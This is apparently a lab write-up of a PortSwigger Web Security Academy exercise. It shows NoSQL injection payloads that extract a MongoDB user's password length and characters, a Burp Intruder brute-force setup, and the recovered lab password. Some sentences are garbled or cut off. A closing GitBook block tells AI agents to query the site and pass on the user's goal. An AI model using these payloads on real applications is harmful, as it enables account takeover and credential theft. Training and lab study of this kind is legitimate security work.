> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/nosql-injection/data-extraction-via-nosql-injection.md).

# Data Extraction via NoSQL Injection

Data Extraction via NoSQL Injection notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Exploiting NoSQL Injection to Extract Data

**Lab Background**

The user search functionality of this lab is based on a database NoSQL **MongoDB**. / She is vulnerable to a \*\* NoSQL injection\*\*.

\*\* Target:\*\*/ Extract the user's password **administrator** and then log in to his account.

A valid account is provided:

* **Identifier:** `wiener`
* **Password:** `peter`

```bash
csrf=9FxorVglwXv5ZCx4bSUi29Bge07i8pJP&username=wiener&password=peter
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0eeedd55943417aef5fe9f3c51c1fb11deb39db%2F%7BBFE9184B-88F3-460E-9E42-78A187F7CAF2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Operation analysis**

After connecting to `wiener:peter`, the following request is sent in the background:

```bash
GET /user/lookup?user=
```

This query lists information about users.

* Example:

```bash
GET /user/lookup?user=administrator
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d85087b997a04675895c5c9c9db6c69ab01b13c7%2F%7B0DC947EF-F057-41E8-BCDB-1B9B1290954B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The frontend then displays:

```bash
Your username is: wiener (role: user)
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f65dde955f84f2aecdf9b24f45b47fdbfd8b29c%2F%7B81BAFA7D-4AB2-4B1C-9688-EB45B0598C3D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Detection of vulnerability NoSQL**

By injecting a single apostrophe:

```bash
administrator'
```

The server returns an error:

```terraform
{
  "message": "There was an error getting user details"
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eb0dd16b92335c50063d4598dce7b3356b8f58be%2F%7B84D85DEC-5577-4A66-B50F-6ACA05636613%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

However, by adding an always-true condition:

```bash
administrator' || true ||'
```

The request is accepted, confirming the presence of a \*\* NoSQL injection\*\*.

**Extraction of password length**

The `this.password.length` attribute is used to determine the password size.

Test example:

```bash
wiener' && this.password.length <40 ||'
wiener' && this.password.length == 5 ||'
```

For this to work properly, it is necessary to \*\*d

```bash
wiener' %26%26 this.password.length == 5 ||'
```

\*\* Application to Administrator\*\*

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ba3bf97a60fd9872f329685973860495b032b0b%2F%7B173DC55C-8E48-41CB-937A-B2E25D67F63D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Repeating the method with the `administrator` user:

```bash
administrator' && this.password.length == 8 ||'
administrator' %26%26 this.password.length == 8 ||'
```

The condition is validated, indicating that the administrator's password contains **8 characters**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3aa554368718d9190cdbdb0024a967ce30f7b68%2F%7BA3D23C39-D0D2-44F3-A65E-F138177D7C5C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Extract character by character**

Then filter by position:

```bash
administrator' %26%26 this.password[0]=='X
```

This request is sent to **Intruder**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e456feb63d1f9d98707a3bfa996d3b6699e66edd%2F%7BEF6F503B-6BCF-40F4-8E60-1FC47E633349%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### \*\* Attack with Intruder\*\*

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ecd05cc3bd27165c7f0db59da8bbb465ce59710d%2F%7BE67B048A-B9E4-4000-A200-A4071FA859B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Attack type : **Cluster Bomb**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd597e62fb8d2c0dbf61b29bd5c721c1deb418b1%2F%7BC116629F-4883-4FD2-8680-7420ECF9D89C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Parameters:

* Character position: `0` to `7` values

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07dbfb49d69c559bfcbe73bfc9b1552ab0732944%2F%7B9229457B-E06D-4AF8-B3CB-D69AAAC36BA6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Tested characters: alphabet (letter dictionary)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f3aa15d6586af2900110a892f57a1ccc05f77538%2F%7B88D2F94D-60E6-4A0E-8C2F-3F0C8057631C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

By analyzing valid answers, the password is restored.

| number | lette |
| ------ | ----- |
| 0      | v     |
| 1      | x     |
| 2      | t     |
| 3      | r     |
| 4      | m     |
| 5      | e     |
| 6      | z     |
| 7      | s     |

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2a65791aa06c341c9e515c5effa5a1e428a6d90d%2F%7BA2E7C85B-2FB6-4C42-9CEB-37D71CCE24B3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Final result**

**Administrator user password:**

`vxtrmezs`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13b779e14b847c3d9b1328dcc33746c352d39ff0%2F%7BA3688063-A0E5-48B6-A722-4F0007B5DE1D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/nosql-injection/data-extraction-via-nosql-injection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
